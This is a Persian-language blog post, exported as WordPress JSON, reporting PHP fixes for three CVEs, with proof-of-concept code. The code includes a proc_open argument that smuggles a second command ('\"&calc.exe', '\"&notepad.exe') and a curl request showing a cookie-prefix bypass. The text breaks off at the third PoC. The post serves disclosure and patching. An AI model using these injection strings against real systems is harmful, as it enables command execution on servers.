{"id":56287,"date":"2024-04-16T12:40:15","date_gmt":"2024-04-16T08:40:15","guid":{"rendered":"https:\/\/onhexgroup.ir\/?p=6301"},"modified":"2024-04-21T12:53:17","modified_gmt":"2024-04-21T08:23:17","slug":"%d8%a7%d8%b5%d9%84%d8%a7%d8%ad-%da%86%d9%86%d8%af%db%8c%d9%86-%d8%a2%d8%b3%db%8c%d8%a8-%d9%be%d8%b0%db%8c%d8%b1%db%8c-%d8%af%d8%b1-php-%da%a9%d8%af-poc-8-3-5","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/%d8%a7%d8%b5%d9%84%d8%a7%d8%ad-%da%86%d9%86%d8%af%db%8c%d9%86-%d8%a2%d8%b3%db%8c%d8%a8-%d9%be%d8%b0%db%8c%d8%b1%db%8c-%d8%af%d8%b1-php-%da%a9%d8%af-poc-8-3-5\/","title":{"rendered":"\u0627\u0635\u0644\u0627\u062d \u0686\u0646\u062f\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 PHP + \u06a9\u062f POC 8.3.5"},"content":{"rendered":"<div><img decoding=\"async\" class=\"ff-og-image-inserted\" src=\"https:\/\/afaghhosting.net\/blog\/wp-content\/uploads\/2024\/04\/d8a7d8b5d984d8a7d8ad-da86d986d8afdb8cd986-d8a2d8b3db8cd8a8-d9bed8b0db8cd8b1db8c-d8afd8b1-php-daa9d8af-poc.webp\" alt=\"\" title=\"\"><\/div>\n<p><span class=\"rt-reading-time\"><span class=\"rt-label rt-prefix\">\u0632\u0645\u0627\u0646 \u0645\u0637\u0627\u0644\u0639\u0647: <\/span> <span class=\"rt-time\">3<\/span> <span class=\"rt-label rt-postfix\">\u062f\u0642\u06cc\u0642\u0647<\/span><\/span><\/p>\n<p>\u062a\u06cc\u0645 \u062a\u0648\u0633\u0639\u0647 \u06cc PHP \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f\u0647 \u06a9\u0647 \u06cc\u0633\u0631\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0631\u0648 \u0627\u0635\u0644\u0627\u062d \u06a9\u0631\u062f\u0647 \u06a9\u0647 \u0627\u0645\u06a9\u0627\u0646 Command Injection \u060c \u062f\u0648\u0631 \u0632\u062f\u0646 \u0627\u062d\u0631\u0627\u0632\u0647\u0648\u06cc\u062a \u0648 DoS \u0631\u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u062f\u0647.<\/p>\n<p>PHP \u067e\u0631 \u0645\u0635\u0631\u0641 \u062a\u0631\u06cc\u0646 \u0632\u0628\u0627\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u062a\u0642\u0631\u06cc\u0628\u0627 79.2% \u0627\u0632 \u0648\u0628 \u0633\u0627\u06cc\u062a\u0647\u0627\u06cc \u06a9\u0644 \u062c\u0647\u0627\u0646 \u0627\u0632\u0634 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u0646\u060c \u06a9\u0647 \u062d\u062f\u0648\u062f 40 \u062f\u0631\u0635\u062f\u0634 \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 \u0648\u0631\u062f\u067e\u0631\u0633 \u0647\u0633\u062a\u0634.<\/p>\n<p>\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06cc \u06af\u0633\u062a\u0631\u062f\u0647\u00a0 \u060c \u0648\u062c\u0648\u062f \u0686\u0646\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627\u06cc\u06cc \u060c\u0633\u0637\u062d \u062d\u0645\u0644\u0647 \u06cc \u0628\u0632\u0631\u06af\u06cc \u0631\u0648 \u0645\u0645\u06a9\u0646 \u0645\u06cc\u06a9\u0646\u0647 \u060c \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0646\u06cc\u0627\u0632\u06cc \u0646\u06cc\u0633\u062a \u06a9\u0647 \u0631\u0648\u06cc \u0627\u0635\u0644\u0627\u062d \u0627\u0648\u0646 \u062a\u0627\u06a9\u06cc\u062f \u0628\u0634\u0647.<\/p>\n<h2>\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc <strong>CVE-2024-1874<\/strong> :<\/h2>\n<p>\u0628\u062f\u0644\u06cc\u0644 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0646\u0627\u062f\u0631\u0633\u062a \u0622\u0631\u06af\u0648\u0645\u0627\u0646\u0647\u0627\u06cc \u062e\u0637 \u0641\u0631\u0645\u0627\u0646 \u062f\u0631 \u0648\u06cc\u0646\u062f\u0648\u0632\u060c \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 command$ \u062f\u0631 proc_open \u060c \u0627\u0645\u06a9\u0627\u0646 command injection \u0631\u0648 \u062f\u0627\u0631\u0647 \u062d\u062a\u06cc \u0627\u06af\u0647 bypass_shell \u0641\u0639\u0627\u0644 \u0628\u0627\u0634\u0647. \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u062a\u06cc\u0627\u0632 9.4 \u0648 \u0634\u062f\u062a \u0628\u062d\u0631\u0627\u0646\u06cc \u062f\u0627\u0631\u0647.<\/p>\n<p>proc_open \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062e\u0627\u0631\u062c\u06cc \u0631\u0648 \u06a9\u0647 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0622\u0631\u06af\u0648\u0645\u0627\u0646\u0647\u0627\u0634\u0648\u0646 \u067e\u0627\u0633 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0646 \u0631\u0648 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u0647.<\/p>\n<p>\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u06cc\u0646\u062c\u0648\u0631\u06cc\u0647 \u06a9\u0647 \u0648\u0642\u062a\u06cc \u0641\u0627\u06cc\u0644\u0647\u0627\u06cc bat \u06cc\u0627 cmd \u0627\u062c\u0631\u0627 \u0645\u06cc\u0634\u0646\u060c CreateProcess \u0628\u0637\u0648\u0631 \u0636\u0645\u0646\u06cc CMD.EXE \u0631\u0648 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u0647\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0622\u0631\u06af\u0648\u0645\u0627\u0646\u0647\u0627\u06cc \u062e\u0637 \u0641\u0631\u0645\u0627\u0646 \u062f\u0631 CMD.EXE \u062a\u062c\u0632\u06cc\u0647 \u0645\u06cc\u0634\u0647. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644 \u062f\u0631 \u0645\u0633\u062a\u0646\u062f\u0627\u062a \u0628\u06cc\u0627\u0646 \u0634\u062f\u0647 \u06a9\u0647 SHELL \u0627\u062c\u0631\u0627 \u0646\u0645\u06cc\u0634\u0647.<\/p>\n<p>\u062f\u0631 \u062d\u0627\u0644\u06cc\u06a9\u0647 proc_open \u062a\u0644\u0627\u0634 \u0645\u06cc\u06a9\u0646\u0647 \u062a\u0627 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u0647\u0627\u06cc \u062e\u0627\u0635 (Escape) \u0645\u062f\u06cc\u0631\u06cc\u062a \u06a9\u0646\u0647\u060c \u062e\u0637 \u0641\u0631\u0645\u0627\u0646 \\ \u0631\u0648 \u0628\u0639\u0646\u0648\u0627\u0646 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u062e\u0627\u0635 \u062f\u0631 \u0646\u0638\u0631 \u0646\u0645\u06cc\u06af\u06cc\u0631\u0647. \u0645\u062b\u0644\u0627 \u0627\u06af\u0647 \u0628\u062e\u0648\u0627\u06cc\u06cc\u0645 calac.exe \u0631\u0648 \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u0645\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 :<\/p>\n<p><!-- Urvanov Syntax Highlighter v2.8.36 --><\/p>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b09144280828\" class=\"urvanov-syntax-highlighter-syntax crayon-theme-bncplusplus urvanov-syntax-highlighter-font-tahoma urvanov-syntax-highlighter-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"urvanov-syntax-highlighter-plain-wrap\"><textarea class=\"urvanov-syntax-highlighter-plain print-no\" readonly=\"readonly\" wrap=\"soft\" data-settings=\"dblclick\">&lt;br \/&gt;<br \/>\ntest.bat &#8220;\\&#8221;&amp;calc.exe&#8221;<\/textarea><\/div>\n<div class=\"urvanov-syntax-highlighter-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"urvanov-syntax-highlighter-row\">\n<td class=\"crayon-nums \" data-settings=\"show\"><\/td>\n<td class=\"urvanov-syntax-highlighter-code\">\n<div class=\"crayon-pre\">\n<div id=\"urvanov-syntax-highlighter-661e396ad4b09144280828-1\" class=\"crayon-line\"><span class=\"crayon-v\">test<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">bat<\/span> <span class=\"crayon-s\">&#8220;\\&#8221;&amp;calc.exe&#8221;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><!-- [Format Time: 0.0022 seconds] --><\/p>\n<p>POC :<\/p>\n<p>\u06cc\u06a9 \u0641\u0627\u06cc\u0644 test.bat \u0627\u06cc\u062c\u0627\u062f \u06a9\u0646\u06cc\u062f \u0648 \u0645\u062d\u062a\u0648\u0627\u06cc \u0632\u06cc\u0631 \u062a\u0648\u0634 \u0628\u0631\u06cc\u0632\u06cc\u062f :<\/p>\n<p><!-- Urvanov Syntax Highlighter v2.8.36 --><\/p>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b32538782059\" class=\"urvanov-syntax-highlighter-syntax crayon-theme-bncplusplus urvanov-syntax-highlighter-font-tahoma urvanov-syntax-highlighter-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"urvanov-syntax-highlighter-plain-wrap\"><textarea class=\"urvanov-syntax-highlighter-plain print-no\" readonly=\"readonly\" wrap=\"soft\" data-settings=\"dblclick\">&lt;br \/&gt;<br \/>\necho hello<\/textarea><\/div>\n<div class=\"urvanov-syntax-highlighter-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"urvanov-syntax-highlighter-row\">\n<td class=\"crayon-nums \" data-settings=\"show\"><\/td>\n<td class=\"urvanov-syntax-highlighter-code\">\n<div class=\"crayon-pre\">\n<div id=\"urvanov-syntax-highlighter-661e396ad4b32538782059-1\" class=\"crayon-line\"><span class=\"crayon-e\">echo <\/span><span class=\"crayon-v\">hello<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><!-- [Format Time: 0.0001 seconds] --><\/p>\n<p>\u06cc\u06a9 \u0641\u0627\u06cc\u0644 test.php \u0627\u06cc\u062c\u0627\u062f \u06a9\u0646\u06cc\u062f \u0648 \u0645\u062d\u062a\u0648\u0627\u06cc \u0632\u06cc\u0631 \u062a\u0648\u0634 \u0628\u0631\u06cc\u0632\u06cc\u062f :<\/p>\n<p><!-- Urvanov Syntax Highlighter v2.8.36 --><\/p>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b37673788444\" class=\"urvanov-syntax-highlighter-syntax crayon-theme-bncplusplus urvanov-syntax-highlighter-font-tahoma urvanov-syntax-highlighter-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"urvanov-syntax-highlighter-plain-wrap\"><textarea class=\"urvanov-syntax-highlighter-plain print-no\" readonly=\"readonly\" wrap=\"soft\" data-settings=\"dblclick\">&lt;br \/&gt;<br \/>\n&lt;?php&lt;br \/&gt;<br \/>\n$descriptorspec = [STDIN, STDOUT, STDOUT];&lt;br \/&gt;<br \/>\n$proc = proc_open([&#8220;test.bat&#8221;, &#8220;\\&#8221;&amp;notepad.exe&#8221;], $descriptorspec, $pipes);&lt;br \/&gt;<br \/>\nproc_close($proc);<\/textarea><\/div>\n<div class=\"urvanov-syntax-highlighter-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"urvanov-syntax-highlighter-row\">\n<td class=\"crayon-nums \" data-settings=\"show\"><\/td>\n<td class=\"urvanov-syntax-highlighter-code\">\n<div class=\"crayon-pre\">\n<div id=\"urvanov-syntax-highlighter-661e396ad4b37673788444-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">$descriptorspec<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">STDIN<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">STDOUT<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">STDOUT<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b37673788444-3\" class=\"crayon-line\"><span class=\"crayon-v\">$proc<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">proc_open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8220;test.bat&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;\\&#8221;&amp;notepad.exe&#8221;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">$descriptorspec<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">$pipes<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b37673788444-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">proc_close<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$proc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><!-- [Format Time: 0.0019 seconds] --><\/p>\n<p>\u0627\u06af\u0647 \u0641\u0627\u06cc\u0644 php \u0631\u0648 \u0628\u0627 PHP \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u062f\u060c notepad.exe \u0627\u062c\u0631\u0627 \u0645\u06cc\u0634\u0647.<\/p>\n<p>\u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u06af\u0647 \u0627\u0632 \u0645\u062d\u062a\u0648\u0627\u06cc \u0632\u06cc\u0631 \u062f\u0631 \u0641\u0627\u06cc\u0644 php \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f\u060c \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u062f \u06a9\u0647 \u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 bypass_shell \u062a\u0627\u062b\u06cc\u0631\u06cc \u0646\u062f\u0627\u0631\u0647.<\/p>\n<p><!-- Urvanov Syntax Highlighter v2.8.36 --><\/p>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b3a791701674\" class=\"urvanov-syntax-highlighter-syntax crayon-theme-bncplusplus urvanov-syntax-highlighter-font-tahoma urvanov-syntax-highlighter-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"urvanov-syntax-highlighter-plain-wrap\"><textarea class=\"urvanov-syntax-highlighter-plain print-no\" readonly=\"readonly\" wrap=\"soft\" data-settings=\"dblclick\">&lt;br \/&gt;<br \/>\n&lt;?php&lt;br \/&gt;<br \/>\n$descriptorspec = [STDIN, STDOUT, STDOUT];&lt;br \/&gt;<br \/>\n$proc = proc_open([&#8220;test.bat&#8221;, &#8220;\\&#8221;&amp;notepad.exe&#8221;], $descriptorspec, $pipes, null, null, array(&#8220;bypass_shell&#8221; =&gt; true));&lt;br \/&gt;<br \/>\nproc_close($proc);<\/textarea><\/div>\n<div class=\"urvanov-syntax-highlighter-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"urvanov-syntax-highlighter-row\">\n<td class=\"crayon-nums \" data-settings=\"show\"><\/td>\n<td class=\"urvanov-syntax-highlighter-code\">\n<div class=\"crayon-pre\">\n<div id=\"urvanov-syntax-highlighter-661e396ad4b3a791701674-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">$descriptorspec<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">STDIN<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">STDOUT<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">STDOUT<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b3a791701674-3\" class=\"crayon-line\"><span class=\"crayon-v\">$proc<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">proc_open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8220;test.bat&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;\\&#8221;&amp;notepad.exe&#8221;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">$descriptorspec<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">$pipes<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;bypass_shell&#8221;<\/span> <span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b3a791701674-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">proc_close<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$proc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><!-- [Format Time: 0.0007 seconds] --><\/p>\n<p>\u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u06cc\u0646 \u0627\u0645\u06a9\u0627\u0646 \u0631\u0648 \u0645\u06cc\u062f\u0647 \u062a\u0627 \u0622\u0631\u06af\u0648\u0645\u0627\u0646\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u062f\u0631 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0628\u0647 \u0641\u0627\u06cc\u0644 bat \u06cc\u0627 cmd \u067e\u0627\u0633 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0646 \u0627\u0632 \u0637\u0631\u06cc\u0642 proc_open \u0627\u062c\u0631\u0627 \u0628\u0634\u0646.<\/p>\n<p>\u0646\u0633\u062e\u0647 \u0647\u0627\u06cc \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 :<\/p>\n<div>\u0646\u0633\u062e\u0647 \u0647\u0627\u06cc \u0627\u0635\u0644\u0627\u062d \u0634\u062f\u0647 :<\/div>\n<h2>\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc CVE-2024-2756 :<\/h2>\n<p>\u0628\u062f\u0644\u06cc\u0644 \u0627\u0635\u0644\u0627\u062d \u0646\u0627\u0642\u0635 CVE-2022-31629 \u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0634\u0628\u06a9\u0647 \u06cc\u0627 same-site \u060c \u0645\u06cc\u062a\u0648\u0646\u0646 \u06cc\u06a9 \u06a9\u0648\u06a9\u06cc \u0646\u0627\u0627\u0645\u0646 \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f \u062f\u0631 \u0645\u0631\u0648\u0631\u06af\u0631 \u0642\u0631\u0628\u0627\u0646\u06cc \u062a\u0646\u0638\u06cc\u0645 \u06a9\u0646\u0646 \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u06cc PHP \u060c \u0628\u0639\u0646\u0648\u0627\u0646 \u06a9\u0648\u06a9\u06cc -HOST__ \u06cc\u0627 -Secure__ \u0628\u0627\u0647\u0627\u0634\u0648\u0646 \u0631\u0641\u062a\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0647. \u0627\u0645\u062a\u06cc\u0627\u0632 6.5 \u0648 \u0634\u062f\u062a \u0646\u0633\u0628\u062a\u0627 \u0628\u0627\u0644\u0627 \u062f\u0627\u0631\u0647. \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u06a9\u0644 \u0627\u0645\u06a9\u0627\u0646 session hijacking \u06cc\u0627 \u062d\u0645\u0644\u0627\u062a cross-site \u0631\u0648 \u0645\u06cc\u062f\u0647.<br \/>\n\u062f\u0631 \u062d\u0642\u06cc\u0642\u062a \u06a9\u0648\u06a9\u06cc \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0627 -Host]__ \u0634\u0631\u0648\u0639 \u0645\u06cc\u0634\u0646\u060c \u0628\u0639\u0646\u0648\u0627\u0646 -Host__ \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u0647 \u0645\u06cc\u0634\u0646.<\/p>\n<p>PoC :<\/p>\n<p><!-- Urvanov Syntax Highlighter v2.8.36 --><\/p>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b3d559066304\" class=\"urvanov-syntax-highlighter-syntax crayon-theme-bncplusplus urvanov-syntax-highlighter-font-tahoma urvanov-syntax-highlighter-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"urvanov-syntax-highlighter-plain-wrap\"><textarea class=\"urvanov-syntax-highlighter-plain print-no\" readonly=\"readonly\" wrap=\"soft\" data-settings=\"dblclick\">&lt;br \/&gt;<br \/>\n$ echo &#8216;&lt;?php echo(json_encode($_COOKIE)); ?&gt;&#8217; &gt; x $ docker run -p 8080:8080 &#8211;rm -v $(pwd):$(pwd) php:latest php -S 0.0.0.0:8080 $(pwd)\/x $ curl -b &#8216;_[Host-x=y&#8217; localhost:8080\/x&lt;br \/&gt;<br \/>\n{&#8220;__Host-x&#8221;:&#8221;y&#8221;}<\/textarea><\/div>\n<div class=\"urvanov-syntax-highlighter-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"urvanov-syntax-highlighter-row\">\n<td class=\"crayon-nums \" data-settings=\"show\"><\/td>\n<td class=\"urvanov-syntax-highlighter-code\">\n<div class=\"crayon-pre\">\n<div id=\"urvanov-syntax-highlighter-661e396ad4b3d559066304-1\" class=\"crayon-line\"><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-k \">echo<\/span> <span class=\"crayon-s\">&#8216;<span class=\"crayon-ta\">&lt;?php<\/span> <span class=\"crayon-k \">echo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">json_encode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$_COOKIE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-ta\">?&gt;<\/span>&#8216;<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-i\">x<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b3d559066304-3\" class=\"crayon-line\"><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-e\">docker <\/span><span class=\"crayon-i\">run<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">p<\/span> <span class=\"crayon-cn\">8080<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">8080<\/span> <span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-i\">rm<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">v<\/span> <span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">pwd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">pwd<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-i\">php<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-e\">latest <\/span><span class=\"crayon-i\">php<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">S<\/span> <span class=\"crayon-cn\">0.0.0.0<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">8080<\/span> <span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">pwd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-i\">x<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b3d559066304-5\" class=\"crayon-line\"><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-i\">curl<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">b<\/span> <span class=\"crayon-s\">&#8216;_[Host-x=y&#8217;<\/span> <span class=\"crayon-i\">localhost<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">8080<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">x<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b3d559066304-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8220;__Host-x&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;y&#8221;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><!-- [Format Time: 0.0025 seconds] --><\/p>\n<p>\u0646\u0633\u062e\u0647 \u0647\u0627\u06cc \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631:<\/p>\n<div class=\"f4 color-fg-default\" dir=\"ltr\">&gt; 8.1.11, &lt; 8.1.28<\/div>\n<div>\u0646\u0633\u062e\u0647 \u06cc \u0627\u0635\u0644\u0627\u062d \u0634\u062f\u0647 :<\/div>\n<h2>\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc CVE-2024-3096 :<\/h2>\n<p>\u0627\u06af\u0647 \u067e\u0633\u0648\u0631\u062f \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u0628\u0627 password_hash \u060c \u0628\u0627 \u06cc\u06a9 null byte (\\x00) \u0634\u0631\u0648\u0639 \u0628\u0634\u0647\u060c \u0628\u0631\u0631\u0633\u06cc \u0631\u0634\u062a\u0647 \u062e\u0627\u0644\u06cc \u0628\u0639\u0646\u0648\u0627\u0646 \u067e\u0633\u0648\u0631\u062f \u062f\u0631 password_verify \u060c \u0645\u0642\u062f\u0627\u0631 true \u0628\u0631\u0645\u06cc\u06af\u0631\u062f\u0648\u0646\u0647. \u0627\u06af\u0647 \u06cc\u0647 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u067e\u0633\u0648\u0631\u062f \u0628\u0627 null byte \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0647\u060c \u062e\u06cc\u0644\u06cc \u0628\u0639\u06cc\u062f\u0647 \u0627\u0645\u0627 \u0627\u0645\u06a9\u0627\u0646\u067e\u0630\u06cc\u0631\u0647\u060c \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u062e\u0627\u0644\u06cc \u0645\u06cc\u062a\u0648\u0646\u0647 \u0627\u06a9\u0627\u0646\u062a\u0634 \u0631\u0648 \u062a\u0635\u0627\u062d\u0628 \u06a9\u0646\u0647.<\/p>\n<p>POC:<\/p>\n<p>\u0645\u062d\u062a\u0648\u0627\u06cc \u0632\u06cc\u0631 \u062f\u0627\u062e\u0644 \u0641\u0627\u06cc\u0644 pw_bug.php \u0628\u0631\u06cc\u0632\u06cc\u062f :<\/p>\n<p><!-- Urvanov Syntax Highlighter v2.8.36 --><\/p>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b43553634077\" class=\"urvanov-syntax-highlighter-syntax crayon-theme-bncplusplus urvanov-syntax-highlighter-font-tahoma 